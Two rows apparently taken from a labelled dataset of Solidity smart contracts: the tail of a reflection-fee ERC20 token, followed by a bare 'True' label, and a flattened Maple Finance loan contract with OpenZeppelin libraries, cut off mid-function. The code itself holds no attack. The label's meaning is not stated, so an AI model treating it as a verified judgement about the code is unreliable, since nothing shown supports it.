uint8 private _decimals = 9;
uint256 public _maxTxAmount = 30000000000000000 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/Loan.sol
pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0;
////// contracts/interfaces/ICollateralLocker.sol
/* pragma solidity 0.6.11; */
interface ICollateralLocker {
function collateralAsset() external view returns (address);
function loan() external view returns (address);
function pull(address, uint256) external;
}
////// contracts/interfaces/ICollateralLockerFactory.sol
/* pragma solidity 0.6.11; */
interface ICollateralLockerFactory {
function owner(address) external view returns (address);
function isLocker(address) external view returns (bool);
function factoryType() external view returns (uint8);
function newLocker(address) external returns (address);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// contracts/interfaces/IERC20Details.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
interface IERC20Details is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
}
////// contracts/interfaces/IFundingLocker.sol
/* pragma solidity 0.6.11; */
interface IFundingLocker {
function liquidityAsset() external view returns (address);
function loan() external view returns (address);
function pull(address, uint256) external;
function drain() external;
}
////// contracts/interfaces/IFundingLockerFactory.sol
/* pragma solidity 0.6.11; */
interface IFundingLockerFactory {
function owner(address) external view returns (address);
function isLocker(address) external view returns (bool);
function factoryType() external view returns (uint8);
function newLocker(address) external returns (address);
}
////// contracts/interfaces/ILateFeeCalc.sol
/* pragma solidity 0.6.11; */
interface ILateFeeCalc {
function calcType() external view returns (uint8);
function name() external view returns (bytes32);
function lateFee() external view returns (uint256);
function getLateFee(uint256) external view returns (uint256);
}
////// contracts/interfaces/ILiquidityLocker.sol
/* pragma solidity 0.6.11; */
interface ILiquidityLocker {
function pool() external view returns (address);
function liquidityAsset() external view returns (address);
function transfer(address, uint256) external;
function fundLoan(address, address, uint256) external;
}
////// contracts/interfaces/ILoanFactory.sol
/* pragma solidity 0.6.11; */
interface ILoanFactory {
function CL_FACTORY() external view returns (uint8);
function FL_FACTORY() external view returns (uint8);
function INTEREST_CALC_TYPE() external view returns (uint8);
function LATEFEE_CALC_TYPE() external view returns (uint8);
function PREMIUM_CALC_TYPE() external view returns (uint8);
function globals() external view returns (address);
function loansCreated() external view returns (uint256);
function loans(uint256) external view returns (address);
function isLoan(address) external view returns (bool);
function loanFactoryAdmins(address) external view returns (bool);
function setGlobals(address) external;
function createLoan(address, address, address, address, uint256[5] memory, address[3] memory) external returns (address);
function setLoanFactoryAdmin(address, bool) external;
function pause() external;
function unpause() external;
}
////// contracts/interfaces/IMapleGlobals.sol
/* pragma solidity 0.6.11; */
interface IMapleGlobals {
function pendingGovernor() external view returns (address);
function governor() external view returns (address);
function globalAdmin() external view returns (address);
function mpl() external view returns (address);
function mapleTreasury() external view returns (address);
function isValidBalancerPool(address) external view returns (bool);
function treasuryFee() external view returns (uint256);
function investorFee() external view returns (uint256);
function defaultGracePeriod() external view returns (uint256);
function fundingPeriod() external view returns (uint256);
function swapOutRequired() external view returns (uint256);
function isValidLiquidityAsset(address) external view returns (bool);
function isValidCollateralAsset(address) external view returns (bool);
function isValidPoolDelegate(address) external view returns (bool);
function validCalcs(address) external view returns (bool);
function isValidCalc(address, uint8) external view returns (bool);
function getLpCooldownParams() external view returns (uint256, uint256);
function isValidLoanFactory(address) external view returns (bool);
function isValidSubFactory(address, address, uint8) external view returns (bool);
function isValidPoolFactory(address) external view returns (bool);
function getLatestPrice(address) external view returns (uint256);
function defaultUniswapPath(address, address) external view returns (address);
function minLoanEquity() external view returns (uint256);
function maxSwapSlippage() external view returns (uint256);
function protocolPaused() external view returns (bool);
function stakerCooldownPeriod() external view returns (uint256);
function lpCooldownPeriod() external view returns (uint256);
function stakerUnstakeWindow() external view returns (uint256);
function lpWithdrawWindow() external view returns (uint256);
function oracleFor(address) external view returns (address);
function validSubFactories(address, address) external view returns (bool);
function setStakerCooldownPeriod(uint256) external;
function setLpCooldownPeriod(uint256) external;
function setStakerUnstakeWindow(uint256) external;
function setLpWithdrawWindow(uint256) external;
function setMaxSwapSlippage(uint256) external;
function setGlobalAdmin(address) external;
function setValidBalancerPool(address, bool) external;
function setProtocolPause(bool) external;
function setValidPoolFactory(address, bool) external;
function setValidLoanFactory(address, bool) external;
function setValidSubFactory(address, address, bool) external;
function setDefaultUniswapPath(address, address, address) external;
function setPoolDelegateAllowlist(address, bool) external;
function setCollateralAsset(address, bool) external;
function setLiquidityAsset(address, bool) external;
function setCalc(address, bool) external;
function setInvestorFee(uint256) external;
function setTreasuryFee(uint256) external;
function setMapleTreasury(address) external;
function setDefaultGracePeriod(uint256) external;
function setMinLoanEquity(uint256) external;
function setFundingPeriod(uint256) external;
function setSwapOutRequired(uint256) external;
function setPriceOracle(address, address) external;
function setPendingGovernor(address) external;
function acceptGovernor() external;
}
////// contracts/token/interfaces/IBaseFDT.sol
/* pragma solidity 0.6.11; */
interface IBaseFDT {
/**
@dev Returns the total amount of funds a given address is able to withdraw currently.
@param owner Address of FDT holder.
@return A uint256 representing the available funds for a given account.
*/
function withdrawableFundsOf(address owner) external view returns (uint256);
/**
@dev Withdraws all available funds for a FDT holder.
*/
function withdrawFunds() external;
/**
@dev This event emits when new funds are distributed.
@param by The address of the sender that distributed funds.
@param fundsDistributed The amount of funds received for distribution.
*/
event FundsDistributed(address indexed by, uint256 fundsDistributed);
/**
@dev This event emits when distributed funds are withdrawn by a token holder.
@param by The address of the receiver of funds.
@param fundsWithdrawn The amount of funds that were withdrawn.
@param totalWithdrawn The total amount of funds that were withdrawn.
*/
event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn);
}
////// contracts/token/interfaces/IBasicFDT.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import "./IBaseFDT.sol"; */
interface IBasicFDT is IBaseFDT, IERC20 {
event PointsPerShareUpdated(uint256);
event PointsCorrectionUpdated(address indexed, int256);
function withdrawnFundsOf(address) external view returns (uint256);
function accumulativeFundsOf(address) external view returns (uint256);
function updateFundsReceived() external;
}
////// contracts/token/interfaces/IExtendedFDT.sol
/* pragma solidity 0.6.11; */
/* import "./IBasicFDT.sol"; */
interface IExtendedFDT is IBasicFDT {
event LossesPerShareUpdated(uint256);
event LossesCorrectionUpdated(address indexed, int256);
event LossesDistributed(address indexed, uint256);
event LossesRecognized(address indexed, uint256, uint256);
function lossesPerShare() external view returns (uint256);
function recognizableLossesOf(address) external view returns (uint256);
function recognizedLossesOf(address) external view returns (uint256);
function accumulativeLossesOf(address) external view returns (uint256);
function updateLossesReceived() external;
}
////// contracts/token/interfaces/IPoolFDT.sol
/* pragma solidity 0.6.11; */
/* import "./IExtendedFDT.sol"; */
interface IPoolFDT is IExtendedFDT {
function interestSum() external view returns (uint256);
function poolLosses() external view returns (uint256);
function interestBalance() external view returns (uint256);
function lossesBalance() external view returns (uint256);
}
////// contracts/interfaces/IPool.sol
/* pragma solidity 0.6.11; */
/* import "../token/interfaces/IPoolFDT.sol"; */
interface IPool is IPoolFDT {
function poolDelegate() external view returns (address);
function poolAdmins(address) external view returns (bool);
function deposit(uint256) external;
function increaseCustodyAllowance(address, uint256) external;
function transferByCustodian(address, address, uint256) external;
function poolState() external view returns (uint256);
function deactivate() external;
function finalize() external;
function claim(address, address) external returns (uint256[7] memory);
function setLockupPeriod(uint256) external;
function setStakingFee(uint256) external;
function setPoolAdmin(address, bool) external;
function fundLoan(address, address, uint256) external;
function withdraw(uint256) external;
function superFactory() external view returns (address);
function triggerDefault(address, address) external;
function isPoolFinalized() external view returns (bool);
function setOpenToPublic(bool) external;
function setAllowList(address, bool) external;
function allowedLiquidityProviders(address) external view returns (bool);
function openToPublic() external view returns (bool);
function intendToWithdraw() external;
function DL_FACTORY() external view returns (uint8);
function liquidityAsset() external view returns (address);
function liquidityLocker() external view returns (address);
function stakeAsset() external view returns (address);
function stakeLocker() external view returns (address);
function stakingFee() external view returns (uint256);
function delegateFee() external view returns (uint256);
function principalOut() external view returns (uint256);
function liquidityCap() external view returns (uint256);
function lockupPeriod() external view returns (uint256);
function depositDate(address) external view returns (uint256);
function debtLockers(address, address) external view returns (address);
function withdrawCooldown(address) external view returns (uint256);
function setLiquidityCap(uint256) external;
function cancelWithdraw() external;
function reclaimERC20(address) external;
function BPTVal(address, address, address, address) external view returns (uint256);
function isDepositAllowed(uint256) external view returns (bool);
function getInitialStakeRequirements() external view returns (uint256, uint256, bool, uint256, uint256);
}
////// contracts/interfaces/IPoolFactory.sol
/* pragma solidity 0.6.11; */
interface IPoolFactory {
function LL_FACTORY() external view returns (uint8);
function SL_FACTORY() external view returns (uint8);
function poolsCreated() external view returns (uint256);
function globals() external view returns (address);
function pools(uint256) external view returns (address);
function isPool(address) external view returns (bool);
function poolFactoryAdmins(address) external view returns (bool);
function setGlobals(address) external;
function createPool(address, address, address, address, uint256, uint256, uint256) external returns (address);
function setPoolFactoryAdmin(address, bool) external;
function pause() external;
function unpause() external;
}
////// contracts/interfaces/IPremiumCalc.sol
/* pragma solidity 0.6.11; */
interface IPremiumCalc {
function calcType() external view returns (uint8);
function name() external view returns (bytes32);
function premiumFee() external view returns (uint256);
function getPremiumPayment(address) external view returns (uint256, uint256, uint256);
}
////// contracts/interfaces/IRepaymentCalc.sol
/* pragma solidity 0.6.11; */
interface IRepaymentCalc {
function calcType() external view returns (uint8);
function name() external view returns (bytes32);
function getNextPayment(address) external view returns (uint256, uint256, uint256);
}
////// contracts/interfaces/IUniswapRouter.sol
/* pragma solidity 0.6.11; */
interface IUniswapRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function WETH() external pure returns (address);
}
////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// contracts/library/Util.sol
/* pragma solidity 0.6.11; */
/* import "../interfaces/IERC20Details.sol"; */
/* import "../interfaces/IMapleGlobals.sol"; */
/* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */
/// @title Util is a library that contains utility functions.
library Util {
using SafeMath for uint256;
/**
@dev Calculates the minimum amount from a swap (adjustable for price slippage).
@param globals Instance of a MapleGlobals.
@param fromAsset Address of ERC-20 that will be swapped.
@param toAsset Address of ERC-20 that will returned from swap.
@param swapAmt Amount of `fromAsset` to be swapped.
@return Expected amount of `toAsset` to receive from swap based on current oracle prices.
*/
function calcMinAmount(IMapleGlobals globals, address fromAsset, address toAsset, uint256 swapAmt) external view returns (uint256) {
return
swapAmt
.mul(globals.getLatestPrice(fromAsset)) // Convert from `fromAsset` value.
.mul(10 ** IERC20Details(toAsset).decimals()) // Convert to `toAsset` decimal precision.
.div(globals.getLatestPrice(toAsset)) // Convert to `toAsset` value.
.div(10 ** IERC20Details(fromAsset).decimals()); // Convert from `fromAsset` decimal precision.
}
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
/* pragma solidity >=0.6.2 <0.8.0; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/* import "./IERC20.sol"; */
/* import "../../math/SafeMath.sol"; */
/* import "../../utils/Address.sol"; */
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
